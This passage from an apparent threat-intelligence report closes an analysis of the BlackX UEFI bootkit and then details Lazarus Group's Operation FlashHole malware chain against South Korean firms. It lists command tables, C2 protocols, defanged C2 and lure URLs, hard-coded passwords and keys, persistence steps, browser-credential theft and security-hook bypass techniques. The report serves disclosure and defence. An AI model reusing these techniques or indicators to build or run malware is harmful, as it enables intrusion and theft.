0X06	File download status	Output
SSSR	Contains initial system info	Output

We also observed another payload delivered through the bootkit, which we dubbed OxiDLLRunner. It is a malicious DLL obfuscated with OLLVM. It is loaded by the legitimate file googleupdate.exe (original filename: jcef_helper.exe, MD5: AF8A983B9ADA07EAE1259BF2953ABD40), which is also delivered by the bootkit. The DLL decrypts the contents of the file v8_context_snapshot.bin, which resides in the same folder, and then jumps to the beginning of the decrypted content. The decrypted data starts with shellcode followed by a PE file, which is a Rust payload designed to communicate with the www[.]archivetj[.]com C2 server. During communication, this payload is supposed to receive DLL files exporting a function named create_plugin, which are then executed in separate threads.

Attribution

Based on the following facts, we have attributed this attack to the APT41 threat actor with medium confidence:

• In June 2026, ESET published a blog post on attacks by the FishMonger threat actor, which the community assumes to be related to APT41. This post describes a kernel implant with a PDB path starting with C:\Users\xdd\Desktop. While describing the campaign, the post also suggests the possible use of an unspecified UEFI bootkit component, which might exploit CVE‑2023‑24932. We observed the identifier “xdd” used multiple times in the BlackX bootkit payloads, so we assess that BlackX is the UEFI bootkit referenced in the ESET blog post;
• The payloads deployed by BlackX are loaded using a legitimate executable abused via DLL sideloading, and an encrypted file — this pattern is common among Chinese-speaking threat actors;
• The OxiDLLRunner file has been obfuscated with OLLVM, an obfuscator commonly used by Chinese-speaking actors.

Why did the target organizations get infected?

During our initial analysis of BlackX, we thought that attackers succeeded in deploying it due to the negligence of the target organizations. Baton Drop, the vulnerability used to deploy BlackX, was disclosed back in 2023 and was patched, so we first thought that the infected machines lacked the relevant updates. However, our investigation proved this wrong — the targeted machines were fully patched.

Instead, we found out that the problem was with the patch itself. As it turned out, the patch for the Baton Drop vulnerability is designed to revoke the “Windows Production PCA 2011” certificate used to sign vulnerable UEFI components. However, this revocation does not happen automatically upon patch installation — the user has to trigger it manually. This is done with the following steps:

• A registry flag is set inside HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Secureboot;
• A scheduled task named Secure-Boot-Update is created.

This patch is designed to be applied manually — for instance, applying it automatically could break dual-boot systems relying on the “Windows Production PCA 2011” certificate to load. At the same time, this patch deployment practice creates a problem — as it is extremely unusual for a system administrator to take extra steps after installing an update. Usually, when applying patches, system administrators take no further action unless an installation failure occurs. These instructions for activating the patch are buried deep on the Microsoft website, and we assess that they are quite hard for an average IT administrator to notice.

Curiously, Microsoft’s plan for deploying the Baton Drop patches mentions an “Enforcement Phase” that involves revoking the “Windows Production PCA 2011” certificate automatically, without user interaction. At the time of publishing this post, this stage has not been implemented. On October 19, 2026, this certificate expired, but this does not prevent the vulnerable binaries from loading unless the certificate is blocklisted.

It is likely that the threat actor behind this campaign took into account that few organizations realized the importance of manually activating the Baton Drop patch. As such, we believe they decided to invest time in understanding how BlackLotus works and creating a copycat of this bootkit.

Conclusion

Patch management is important for every organization, as updates from vendors help protect software and hardware against known vulnerabilities. However, sometimes installed patches fail to protect against the flaws they address. The BlackLotus story we described is not the only such example — for instance, in 2025 Microsoft released an update against the ToolShell vulnerability that also had to be applied manually.

However, modern security solutions are designed to account for such cases when installed patches fail to protect against security flaws for one reason or another. For instance, the Exploit Prevention component available in Kaspersky products prevents exploits from running if the patch is not applied, or if it is a zero-day vulnerability with no available patch. It is thus crucial to equip all machines in an organization with security solutions and constantly monitor the alerts they raise.

In January, we responded to the Lazarus Group’s novel attack campaign against South Korea, which followed last year’s Operation SyncHole. In this new operation, the group employed an updated malware chain that included both their old and new malware, which we disclosed in full, and used another mandatory South Korean security software program as a part of infection chain using a watering‑hole strategy. Notably, the group targeted victims more selectively, sending spear‑phishing emails with links to fabricated but relevant sites, such as portfolio and résumé pages tailored to each target. We dubbed this activity Operation FlashHole.

Our examination reveals that the earliest evidence of this new operation dates back to July 2025. This suggests the group began preparing for the campaign shortly after ending Operation SyncHole, which lasted at least four months. We identified a minimum of three organizations impacted by the campaign in South Korea’s software, construction, and wired communication equipment manufacturing sectors. These sectors differ from those affected by Operation SyncHole, indicating that the group has expanded its target scope over time.

Background

After more than a year since the first observation of Operation SyncHole, we detected a suspicious execution chain originating from legitimate South Korean software. This chain mirrors the one from the previous operation; however, this time, the attacker abused CrossWeb EX instead of Cross EX, which was abused in Operation SyncHole. Both applications are related to financial security. CrossWeb EX is a financial security solution that is required to access widely used online banking and government websites. It encrypts communications between the user’s browser and the web server using public key infrastructure (PKI). This is not the first time Lazarus has abused this software. It was also used in 2021 to deploy the Racket downloader and again in 2022 and 2023. Although the exact method by which CrossWeb EX was abused remains unclear, we determined that the attack chain ultimately leads to the execution of the malware in memory.

We noted that the spawned process was running with a high integrity level. The parent process, INISAFECrossWebEXSvc.exe, originates from the installation bundle of INISAFE CrossWeb EX V3 version 3.4.1.2, released in 2023 after KrCERT’s public advisory.

As we already mentioned in our SyncHole blog post, this pattern closely mirrors the long‑standing strategy employed by the Lazarus Group to target South Korea. Since CrossWeb EX and similar software is mandatory for South Korean users and typically runs in the background to interact with the browser, it has been leveraged as a critical attack vector by the group. In 2025, a paper was presented at the USENIX Security Symposium that investigated vulnerabilities in South Korea’s mandatory security software and demonstrated how such software can unintentionally create a massive attack surface.

In July 2026, the South Korean government and several local security vendors also published a joint security advisory covering typical Lazarus attack techniques, including exploitation of financial security software. While this advisory overlaps with our findings from Operation FlashHole and Operation SyncHole, and AhnLab’s detailed analysis report Operation Double Barrel covers a wide range of recent Lazarus Group activities, we are conducting a more granular classification based on their TTPs. We will discuss this further in the attribution section.

Initial infection vector

Although we could not precisely determine what triggered the infection chain, our analysis uncovered a suspicious website hosted on GitHub Pages that is associated with the GitHub account used as the C2 channel. The GitHub account was created last September, and the initial version of the site was designed to showcase the résumé of a senior network appliance developer. In January, however, this site was replaced with another featuring an interior design showcase. The first site was likely accessed by an employee of a wired communication manufacturing company, while the second site likely affected a target in the construction sector.

The first site with the résumé had a photograph supposedly of a job seeker, but the lack of EXIF metadata and the unnatural texture of the image indicate that it was generated by AI. This suggests the Lazarus Group has incorporated AI into its long‑standing strategy, like other Korean‑speaking threat actors (1, 2). The group most likely also used AI to create the lure site: the job seeker’s name resembles the Korean version of “John Doe,” and the portfolio was populated with seemingly meaningless details and random companies. The generated site was then manually tailored to specific targets.

The websites contained embedded links that loaded an external JavaScript file via a script tag.

• Malicious link embedded in the résumé site: hxxps://javadevhouse.co[.]kr/ajax/libs/jquery/1.7.3/jquery.min.js
• Malicious link embedded in interior design site: hxxps://pythonapischool[.]com/api/detach

Based on the analysis, we assess with medium-to-high confidence that the targets received phishing emails containing links to the malicious site hosted on GitHub Pages (using the domain <username>.github.io). The research results showed a high possibility that visiting the malicious site initiated an infection process involving CrossWeb EX software. This assessment aligns with Lazarus’s recent approach, as detailed in the joint advisory published by the South Korean government and security companies.

Full infection chain

Following the initial compromise, the legitimate Windows binary fsquirt.exe was executed under the CrossWeb EX process and injected with shellcode containing a malicious DLL – TechHub malware. From our extensive and thorough examination, we identified several malicious payloads and reconstructed the complete infection chain. The infection chain is rather complex and reveals the Lazarus Group’s advanced operational techniques on targeted hosts. These techniques conceal their malicious payloads, intent and their sophisticated malware delivery framework. The latter was updated extensively compared to the previous campaign, despite the new operation starting less than a year later. Significantly, the execution chain below exists only in memory during the initial infiltration, highlighting the attackers’ considerable efforts to hide the initial compromise.

Following the initial compromise, the group sought to maintain persistence on the network by installing a pair of malware strains – TouchHub and TouchShift – leveraging DLL side‑loading under the name mscoree.dll. TouchHub was deployed by the first instance of TechHub. It then used DLL side-loading to launch TouchShift, which led to the in‑memory execution of another TechHub instance. After launching the second time, TechHub deployed another pair, ClientHub and LPEClient, rather than executing Cubridge directly. Only minimal traces of these files were found on disk; the remainder of the malicious code persisted exclusively in memory.

Since Cubridge remains only in memory at the initial compromise stage, we suspect the group designed this indirect, multistage chain to deliberately redeploy Cubridge after gaining persistence, as it serves as the most sophisticated orchestrator of the attack.

Malware set

The full chain comprises advanced variants of the known Lazarus malware strains, including TechHub, Cubridge, TouchShift, LPEClient, and the newly identified TouchHub and ClientHub.

TechHub – the start of the chain

TechHub, a downloader that plays a central role in this attack, communicates with GitHub using a Personal Access Token (PAT). It serves as the initial payload, providing the top of the chain with sufficient functionality to profile compromised hosts and facilitate subsequent payloads.

This variant is a more advanced version of the malware named CLOUDBURST by Mandiant and NickelLoader by ESET. According to their reports, the earlier version communicated with a C2 server via HTTP(S) to fetch additional payloads. The latest iteration we found, however, communicates with GitHub instead and has updated command strings.

We identified three variants of TechHub in the chain: an in‑memory version, a simple DLL side‑loading version, and a DLL side‑loading version that uses a registered Windows service. Depending on which stage loads the malware, it contacts a private GitHub repository via the GitHub API using either hard‑coded credentials or credentials retrieved from its configuration file.

When TechHub loads, it creates a 4‑byte hexadecimal identifier (ID) in the range 0x1000–0xFFFF or reads one from the configuration file, enabling the attackers to distinguish between compromised hosts. TechHub then checks a GitHub issue by sending the request GET /issues?state=[open/closed] to determine whether any previous communication remains active and removes any traces of it if found. It then proceeds with the handshaking process.

1. It creates a new issue titled 1[ID] with the body “hel” using the POST /issues request, and sets its status to open.
2. It then retrieves a file from the repository containing the 2[ID] value in its name. This file contains the RSA public key.
3. It generates a random 16‑byte XOR key, encrypts it with the provided RSA public key, and uploads the result, prefixed with 1[ID], to the repository.
4. The hard‑coded IV is XORed with the generated 16‑byte key and then used after the handshake.

During file exchange, filenames follow the pattern [1|2][ID][random-16-byte-key] throughout communication. The “2” prefix indicates delivery from the repository to TechHub, while “1” indicates delivery from TechHub to the repository. The random 16‑byte key in the filename is used for AES encryption or decryption of each file’s contents, employing either a hard‑coded IV or an updated IV.

After the key exchange is complete, TechHub reads a file with the prefix “2” once again and verifies that the delivered data equals “hel”. If the check passes, TechHub gathers extensive information from the infected host. This data is then encrypted and sent to the repository. After transmitting the device information, the process concludes by updating the body of the previously created issue from “hel” to “hey” using PATCH /issues/[issue number]. The malware is now fully prepared to receive commands from the repository.

TechHub supports four commands. The laeca command deploys a payload packaged in shellcode that reflectively loads the embedded payload directly into memory.

Command	Description
mqdrz	Collect information about the device and its running processes
laeca	Directly invoke the received shellcode in memory
aqvxp	Terminate the current process
rtcya	Beaconing after finishing the handshake process

Cubridge – the framework orchestrator

Cubridge, deployed via TechHub on the compromised host, is capable of retrieving various payloads through multiple methods. It serves as the central orchestrator of the entire malware framework, supporting a range of plugins, modules, and tools. An earlier version of Cubridge was also disclosed in the reports covering the previous version of TechHub. In those reports, Mandiant identified it as SIDESHOW, and ESET identified one of its modules as LightlessCan.

To establish communication with the C2 server, Cubridge randomly selects one of the predefined C2 servers and constructs a dedicated C2 URL for every request, using the pattern [C2_URL]/[page1]/[page2]/[page3]. This is achieved by concatenating terms from predefined word lists. Our analysis identified a single hardcoded C2 server – hxxps://cubedesign[.]co[.]kr/news/AABBCC – associated with the examined instance that is configured to version 5.1. During URL generation, AABBCC is substituted with a null value. The page3 segment is assigned a randomly generated integer between 10000000 and 99999999. Consequently, each generated URL is designed to appear authentic and remain unique for each request.

The predefined list for page1 is shown below. TechHub randomly selects one item from the list.

economy, opinion, politics, national, international, medical, investment, sports, lifestyle, shopping, culture

The predefined word list for page2 is shown below.

article, list, story

This means the hardcoded URL can later be transformed, for example, into hxxps://cubedesign[.]co[.]kr/news/economy/article/12345678 by following the steps described above.

Authentication using the POST request with the C2 server requires three parameters in the form of key‑value pairs. Each key is randomly generated using a different predefined word dictionary, and the associated values consist of a randomly generated 8‑byte hexadecimal bot ID, a fixed authentication token (KW4Ofw982CNJjxd51AVqkGAop), and a randomly generated 16‑byte hexadecimal session ID.

Cubridge employs a more robust handshaking process than TechHub, combining the RSA and RC6 algorithms. Unlike TechHub, it skips the profiling step and proceeds directly to command and control after the handshake. During communication, the malware mimics browser requests, using X‑CSRF‑Token and X‑Requested‑With headers for authentication and the Upgrade‑Insecure‑Requests header to request additional data.

Cubridge contains extensive functionality, with a particular focus on loading subsequent‑stage payloads. The commands employ various techniques, such as DLL injection, reflective loading, and section‑mapping injection. The payloads may be delivered in various forms:

• Plugins – reusable extensions that add functionality as needed and can be invoked at any time (in shellcode and DLL form);
• Tools (in DLL form) – independent utilities that perform one-off tasks;
• Modules – components that are loaded once and remain active providing an extended set of functionalities.

It is anticipated that the commands for plugins and shellcode will load identical types of plugins because both support a similarly formed exported function for subsequent activity. The shellcode can be generated using the open‑source sRDI tool to package a DLL‑style plugin. The capabilities of a single DLL are likely utilized to load a tool that works independently because when a single DLL is loaded, only its DllMain entry point and its parameters are accessible; no other exported functions are exposed.

Command	Payload type	Description
0	–	Collect device info including the computer name, time zone, PID, and other similar details
1		Archive the specified file/directory using the legacy ZipCrypto algorithm and the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
2		Create a file at the specified path
3	Possibly plugin	Inject the provided DLL payload into the target process and load it reflectively using reflective DLL injection
4	Plugin	Reflectively load a plugin in DLL format
5		Retrieve the address of the specified exported function from the target plugin and run it with the provided parameters
6		Retrieve all information about the loaded plugins
7		Unload the specified plugin
8	Shellcode	Inject the provided shellcode into the target process and load it using section mapping injection
9		Load the provided shellcode directly into memory
10		Retrieve the address of the specified export function from the target shellcode (likely a plugin in shellcode form) and run it with the provided parameter
11		Retrieve all information about the loaded shellcode
12		Unload the specified shellcode
13	–	Set the scheduled Cubridge execution time (in minutes) by updating a global variable
14		Set the scheduled Cubridge execution time (in minutes) by updating a global variable, while disabling monitoring by also updating another global variable
15		Terminate in a controlled manner
16		Get the configuration for Cubridge: retrieve the global flags, the number of C2 servers, the C2 addresses, etc.
17		Update the global flags, the number of C2 servers, the C2 addresses, etc.
18	Tool	Load a DLL reflectively with the specified parameter
19		Configure the parameters for loading a single DLL
20		Unload the single DLL
21	Module	Load the “action module” (ActionModule.dll) reflectively and invoke its AppinfoView export function
22		Load the “function module” (FunctionModule.dll) reflectively and invoke its PresentationFontConfig export function

Commands 21 and 22 each load a different module. As their internal names imply, the action module manages basic file and process operations, while the function module implements Windows’ default commands. The action module covers commands 23–41, and the function module handles commands 42–79.

The action module handles system operation commands, file system interactions, and process behavior. It is invoked by passing the appropriate command and parameters to its AppinfoView export function. The module supports 19 commands, numbered 23 through 41. Execution results are first sent to Cubridge, which then forwards them to the C2 server.

Command	Role
23	Get local disk space for each drive
24	Get information about the specified file or directory
25	Execute the provided command
26	Get information about the specified file or directory (similar to command 24)
27	Execute the provided command under the target process (PPID spoofing)
28	Execute the provided command under the target process within the provided session (PPID spoofing + session impersonation)
29	Get detailed information about processes
30	Terminate the provided process
31	Suspend all threads belonging to the specified process
32	Resume all threads belonging to the specified process
33	Permanently delete the file by overwriting its entire contents with the sequence: 0 → 1 → random bytes → 1 → 0
34	Rename the provided file to :EFS (the alternate data stream area) and delete it using the native API SetFileInformationByHandle
35	Set the current working directory
36	Copy the specified file to the provided path
37	Delete the specified directory
38	Move the specified file to the provided path
39	Create the provided directory
40	Initiate a non‑blocking connection attempt to the specified IP address and port (possibly for port scanning)
41	Read the specified file

The function module implements commands that emulate Windows’ built-in commands. Similar to the action module, its DllMain routine initializes all supported command functions, which are later accessed through the PresentationFontConfig export. Altogether, the module offers 38 commands, numbered from 42 to 79. While we believe this module is based on the previous LightlessCan, this is the first time we’ve seen it in the form of a separate module.

Command	Role
42	Capture all displays and archive them using the legacy ZipCrypto algorithm with the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
43	Synchronize the MAC (Modified, Accessed, and Created) times of the file provided in the second argument to match those of the file provided as the first argument
44	Get information about the specified directory
45	Get information about the specified drive
46	Inject the provided DLL payload into the target process
47	Unload the specified DLL from the specified process
48	Implementation of the ipconfig command
49	Implementation of the net command
50	Implementation of the netsh advfirewall firewall command
51	Implementation of the netstat command
52	Implementation of the ping -6 command
53	Implementation of the reg command
54	Implementation of the sc command
55	Implementation of the ping command
56	Implementation of the whoami command
57	Implementation of the nslookup command
58	Implementation of the schtasks command
59	Implementation of the systeminfo command
60	Implementation of the arp command
61	Call the CryptUnprotectData function to retrieve the AES key that DPAPI protects. Extract the key using the encrypted_key keyword from Chromium’s Local State file located at: %LOCALAPPDATA%\Google\Chrome\User Data\Local State
62	Not implemented
63	Not implemented
64	Read the specified file and decrypt it using an XOR operation with the key 0x59. Then extract the paths from the decrypted buffer and archive files and directories at these paths with the legacy ZipCrypto algorithm, using the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
65 ~ 79	Not implemented

Besides the modules, we also observed that the actor deployed various plugins and tools.

Type of payload	Name	Description
Plugin	ADFinder (AdFinder.dll)	Launches LDAP queries in an Active Directory environment, taking six arguments such as log file path, ADsPath, search filter, and attribute names
Plugin	FileCollector (Dll.dll)	Recursively scans every subdirectory and file in the provided directory, gathering detailed information about each
Tool	Browser stealer	Can be injected into Chromium-based browsers, such as Google Chrome, Microsoft Edge, and Brave. Once injected, it extracts files and credentials from the victim’s browsers, including stored passwords, bookmarks, history, preferences, and cookies
Tool	Process collector	Iterates over all running processes, collecting each process’s ID, path, and command line

TouchHub installs a service for TouchShift

During our analysis, we obtained a previously unknown malware sample from TechHub’s private GitHub repository, which served as a parent installer for TouchShift. We dubbed this malware TouchHub. Upon execution, it copies the legitimate printfilterpipelinesvc.exe to C:\Windows\System32\RasConv\ImeBroker.exe, registers it as a service, and places an embedded TouchShift payload named mscoree.dll in the same directory. Following creation, the malware synchronizes the MAC timestamps of C:\Windows\System32\drivers\monitor.sys with those of the newly written file, hindering forensic analysis.

It then goes through the service registration process by collecting up to 100 legitimate service names that are registered under the netsvcs svchost group in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost. It randomly selects one of these names, appends two random alphabetic characters to form a new service name, and uses this name to create a service that runs the hard‑coded command line C:\Windows\System32\RasConv\ImeBroker.exe -TimeBroker with the description Microsoft Service. The newly created service is started immediately.
Overall, TouchHub creates three files in the designated directory to launch TouchShift with SYSTEM privileges.

Path	Type	Description
C:\Windows\System32\RasConv\ImeBroker.exe	Executable file registered as a service	Copied from C:\Windows\System32\printfilterpipelinesvc.exe
C:\Windows\System32\RasConv\mscoree.dll	Side-loaded TouchShift payload	Dropped by TouchHub. It contains encrypted payloads and includes portions of a legitimate DLL’s contents, which significantly inflates its size
C:\Windows\System32\RasConv\ActivationStore.dat	TechHub’s configuration file	Dropped by TouchHub after extracting configuration values

TouchShift, a prevalent loader employed across multiple infection chains

The version of TouchShift dropped by TouchHub is almost identical to the version described in Mandiant’s blog post, even sharing the same malicious export function, LockClrVersion. It takes the argument supplied by TouchHub and XORs it with a hard‑coded key. The resulting value is XORed once more with the executable’s filename, and this result is used as the AES key. All strings involved in this process (the argument, the XOR key, the filename) must be exactly 16 bytes long. If a string is shorter, it is padded with NULL bytes (\x00); if it is longer, it is truncated to 16 characters. For example, one of the string combinations in the obtained sample was:

• Argument: -TimeBroker\x00\x00\x00\x00\x00 (padded with NULL)
• Hard-coded XOR key: x809G736iC3f8Wp8
• Executable filename: ImeBroker.exe\x00\x00\x00 (padded with NULL)

After deriving the key, the malware decrypts the embedded payload using AES‑CBC‑128 without padding. The decrypted data is shellcode that starts with a call instruction. It wraps the next‑stage payload – identified as the third version of TechHub (DLL side-loading with a registered service) – that reads the ActivationStore.dat file as an external configuration.

ClientHub

We also identified a new piece of malware stored in TechHub’s private repository, which we named ClientHub. It supports various commands formed using a bitmask. There are at least two versions of ClientHub: one that communicates with websites via HTTP(S) and one that interacts with the Dropbox API using credentials.

Depending on the version, its configuration is sourced from internal resources or the external configuration file C:\Program Files\Common Files\System\msadc\msadc.inc. The configuration comprises keys and IVs for the SNOW 1.0 algorithm, scheduled execution times, and C2 server addresses encrypted with the SNOW stream cipher. The SNOW cipher is a family of high‑speed stream ciphers used for secure data encryption in telecommunications and wireless networks. This is the first time it has been observed in the malware of the Lazarus Group.

To establish C2 communication, the malware initially generates a 32‑byte random array. It subsequently overwrites portions of this array with data collected from the compromised device. The resulting 32‑byte array comprises a blend of random bytes and relevant information. This array is later used as the key for the SNOW algorithm to decrypt data received from the C2 server. Finally, the key array is encrypted with a hard‑coded RSA public key and encoded in Base64.

Offset	Size	Field value
0	4	Current process ID
4	4	First four bytes of the decrypted C2 server information.
8	7	Randomly generated bytes
15	1	Calculated flag value that indicates a state machine.
16	8	Current system time, represented as a FILETIME structure.
24	8	Randomly generated bytes

The ciphertext is delivered to the C2 server via GET requests. Each request contains headers that are atypical for malware: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Mobile, Sec-Fetch-Mode, and Sec-Fetch-Dest. These headers are normally used by legitimate Chromium‑based browsers and enable malware to imitate legitimate traffic and evade detection. The C2 server replies with commands in a custom header and message body.

struct header
{
  int has_more_data // whether more body data remains 
  int body_checksum;// ROR13 checksum for the body data
  int body_type;    // specifies the body type
  int unknown;
  int body_length;  // Length of the body data
  int IV[2];        // Random IV used to encrypt the body data
};

The body_type field in the header determines how the subsequent payload is processed. This value functions as a bitmask, with each bit representing a distinct flag (e.g., 0x1, 0x2, 0x4, etc.). The resulting behavior also depends on whether the least‑significant bit (bit 0) is set: when the value is odd, the malware interprets the incoming message body as an additional payload that is subsequently loaded into memory. Conversely, when the value is even, the malware invokes the previously loaded payload.

The odd value supports four distinct loading methods based on the received message body and ensures that each method executes only once.

Bitmask	Value in decimal	Description	Result sent to the C2
0x00000001	1	DLL loading: load the received body reflectively along with the provided parameter	The payload’s image base
0x00000011	3	Plugin: load the received body reflectively, obtain the address of a function in the payload, and then invoke that function along with the provided parameter	The payload’s image base, the address of the invoked function, and the execution result
0x00000101	5	Plugin: load the received body reflectively, obtain the address of a function in the payload, but refrain from invoking it immediately	The payload’s image base, the address of the function
0x00001011	11	Plugin: execute the behavior associated with value 3, then unload immediately after invoking the plugin	–
0x00010001	17	DLL loading: load the received body reflectively with the provided parameter, maintaining stateful communication via a persistent interactive session using a shared buffer	The payload’s image base, the address of the interactive shared buffer, and the execution result

The even value provides two distinct invocation methods for DLLs and plugins that have already been loaded and are associated with the odd‑value bitmask. The 2 (0x10) flag allows the payload previously loaded with the 1, 3, or 5 bitmask to be reused and invoked directly. The value 16 (0x10000) corresponds to the 17 (0x10001) flag in loading mode and uses the established interactive shared buffer to exchange data. All values are guaranteed to act independently.

Bitmask	Value in decimal	Description	Result sent to the C2
0x00000010	2	Invoke the previously loaded DLLs and plugins along with the provided parameter	The execution result
0x00000100	4	Not implemented	–
0x00001000	8	Unload the previously loaded DLLs and plugins	The execution result
0x00010000	16	Send the updated parameter to the payload loaded by the command with the value 17, and exchange data through the interactive session. This command also determines whether to retrieve the execution result or unload the payload	The execution result

Taking into account the loading mechanism, we identified four plugins deployed to the target that work perfectly with ClientHub.

Plugin	Description
File archiver	Archives the provided file using the legacy ZipCrypto algorithm (without password protection) and returns the compressed data
File collector	Searches for all files matching the provided search pattern and collects metadata including filename, MAC timestamps, file size, and attribute values
File cleaner	Overwrites the provided file with NULL bytes, renames it to a randomly generated filename of the same length, and then deletes it. If a directory with a search pattern is provided, it locates all matching files, renames each to a randomly generated name of identical length to its original name, and deletes them
Drive and session monitor	Monitors remote session changes and local drive changes for the provided duration (in 10-minute intervals) and returns the collected status information

In addition to the plugins, ClientHub supports the loading of LPEClient malware and communication with it. We found that ClientHub’s body_type values 16 and 17 correspond to LPEClient’s C2 communication mechanism.

LPEClient

LPEClient is the only malware that was also observed in Operation SyncHole, indicating that the actor relies heavily on it for sophisticated victim profiling and payload delivery across multiple operations. LPEClient first appeared in 2019, and was discovered in 2020. Since then, the tool has been widely observed in the Dream Job and Cascade Hole campaigns that targeted South Korea. Recent research conducted by Check Point revealed that LPEClient was used to deploy the FudModule malware using a zero-day.

LPEClient has evolved continuously over time, but we discovered that it recently underwent a major operational revamp. It no longer contains the C2 server address itself; instead, it interacts with ClientHub via a shared buffer. We believe this change is intended to enhance concealment.

The previous version collected the computer name, memory status, CPU specifications, operating system details, version of the ntoskrnl.exe file, firmware table, antivirus name, domain name, user name, the integrity level of the current process, and a random byte sequence of 1,568 bytes. The newly updated LPEClient variant mostly collects the same information; however, it also introduces several changes.

• It does not collect the version of the ntoskrnl.exe file by querying the FileVersion value. Instead, depending on the specific build, it reads either the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UBR registry key or the SYSTEM_BUILD_VERSION_INFORMATION structure to retrieve the revision portion of the Windows build number. These values can be used to infer the system’s cumulative update or patch level.
• To collect information about installed antivirus products, it switched from querying a WQL command to reading the WMI repository file directly. It now reads C:\Windows\System32\wbem\Repository\OBJECTS.DATA and searches for keywords such as AntiVirusProduct, companyName, and displayName to identify the installed products.
• It also collects low‑level Windows security mitigation states. To achieve this, it queries the SYSTEM_KERNEL_VA_SHADOW_INFORMATION structure for the Kernel VA Shadow mitigation status and the SYSTEM_SHADOW_STACK_INFORMATION structure for the Shadow Stack (CET) protection status.

Additionally, it generates a 32‑byte random unique identifier by using the HighwayHash algorithm and an XOR operation with the current system time. The collected information, including the generated identifier, is compressed with the XPRESS Huffman algorithm using the maximum compression setting. The compressed data is then concatenated with the message ID 0xF07D6B34 and encrypted using GOST (also known as Magma), Russia’s national cryptographic standard that employs a DES‑like structure, before being sent to the ClientHub via a shared buffer. Initially, KrCERT described the algorithm as a custom DES‑like scheme. However, further analysis by us and Check Point confirmed that it is actually the GOST algorithm. The key is randomly generated by a proprietary key‑generation algorithm and prepended to the encrypted message.

The next request handles the key exchange by delivering the message ID 0xA39CF278 together with the generated unique identifier. The response is decrypted using the AES‑CBC‑256 algorithm. The SHA‑256 hash of the previously generated 1,568‑byte random value, which was originally sent to the C2 server during the collection phase, serves as the key for this decryption.

Through this process, LPEClient obtains a byte array comprising four 1,568‑byte blocks from the C2 response. Each block contains an ML‑KEM‑1024 public key, where ML‑KEM is a NIST‑standardized post‑quantum key encapsulation mechanism derived from CRYSTALS‑Kyber. LPEClient then generates four distinct pairs of shared keys and ciphertexts from these blocks, encrypts the ciphertexts with the GOST algorithm, and transmits them to the C2 server via ClientHub together with the message identifier 0xEF8C0D51 and the associated identifier. Now that the preparation phase for receiving payloads is complete, the malware is ready to receive payloads forwarded by ClientHub from the C2 server, along with the necessary parameters. The use of post-quantum cryptography shows that the group intends to hide subsequent payloads.

The response to the 0xEF8C0D51 message is decrypted with the Threefish algorithm using a 128-byte key, composed of the four distinct shared keys. Threefish is a tweakable block cipher that accepts a ‘tweak’ value alongside the key and the message. The concept of a tweak is similar to that of a nonce or initialization vector, which are used in different types of ciphers. In LPEClient communication, the tweak for the decryption is derived by XORing the unique identifier with 165 (0xA5). The first four bytes of the decrypted message must specify the parameter’s length, followed by the parameter itself and then the payload. The payload must be larger than 4 KB and start with the characters 'MZ', which indicates that the decrypted payload is an executable file. The payload is then reflectively loaded into memory. After successful loading, LPEClient sends the message ID 0xCB790A25 to the C2 server.

Before loading the acquired payload, LPEClient takes measures to bypass security products. Instead of invoking VirtualProtect directly, the malware uses the identified HeapPageAllocator::ProtectPages in jscript9.dll to modify the memory page protection of the MD4Update function. The beginning of the function is then overwritten with a hard‑coded opcode sequence that serves as a syscall stub with the required arguments. LPEClient then uses the syscall stub to disable a user‑mode syscall instrumentation hook.

We identified the final payload that was ultimately loaded as Cubridge. The overall communication process is as follows.

Comparison of plugins and modules

Throughout the engagement, we identified a variety of payloads deployed by TechHub, Cubridge, and ClientHub. These payloads have been categorized as tools, plugins, and modules that constitute the group’s modular malware framework. While we have not yet ascertained which payloads are deployed under specific conditions, the evidence suggests that the Lazarus Group’s toolkit is becoming increasingly sophisticated and segmented into specialized components rather than a single comprehensive backdoor. We also believe that TechHub and Cubridge may share similar tools.

Deployed via	Type of payload	Family
TechHub/Cubridge	Tool	Process collector, Browser stealer
Cubridge	Module	Action module, Function module
Cubridge	Plugin	ADFinder, FileCollector
ClientHub	Plugin	File archiver, File collector, File cleaner, Drive/session monitor

These modularizations are not confined to the instances within this campaign. As previously noted, similar patterns have been identified in CookiePlus, MISTPEN, SIGNBT, and IMETHOD. Note that we have reclassified the ThreatNeedle variant used in Operation SyncHole as the latest version of IMETHOD, the predecessor of ThreatNeedle in use since at least 2016.

Infrastructure

Based on the information we obtained from the TechHub malware, we identified at least three primary repositories used as the C2 server and one fallback repository. The earliest evidence indicates that the group has been leveraging GitHub as a C2 server since at least July 2025. We suspect that all the accounts were created using hijacked email accounts, and disguised as normal repositories by copying or creating normal projects to avoid suspicion.

For the Cubridge and ClientHub C2 servers, the Lazarus Group employed only a minimal number of compromised yet legitimate South Korean media and interior design websites. Later, we observed that a broader range of compromised legitimate sites across various industries were also exploited. In addition, one ClientHub sample that we detected used Dropbox as a C2 channel.

Victims

We have identified at least three firms from the software, construction, and wired communication equipment industries in South Korea that were targeted by Operation FlashHole. As with the previous operation, however, we remain confident that a considerably larger number of organizations across a broader spectrum of industries have been affected.

The software sector was the only sector targeted in both the SyncHole and FlashHole campaigns. This suggests the actor is eager to compromise the sector, steal source code, and exploit vulnerabilities for further attacks.

Attribution and links to other campaigns

Operation FlashHole is the latest wave in the broader Cascade Hole campaign, which involves the use of South Korean software as a potential entry point to deliver malware targeting the country. Although the malware chain has advanced significantly since last year, we assess with medium-to-high confidence that the same actor is responsible for both the SyncHole and FlashHole operations based on the initial vector, targets, multi‑stage chain, and technical and operational improvements. The use of LPEClient in particular is a strong indicator supporting this assessment.

The malware strains used in the attack are historically linked to the toolsets observed in the Lazarus Group’s notorious Dream Job campaign. Earlier versions of TechHub (also known as CLOUDBURST and NickelLoader), Cubridge (also known as SIDESHOW and LightlessCan), and TouchShift were all observed in that campaign, especially between 2022 and 2023.

We also discovered that both CookiePlus and ClientHub have significant overlaps in class name, configuration path, and plugins. Based on these similarities, we assess with medium‑high confidence that ClientHub is an advanced version of CookiePlus.

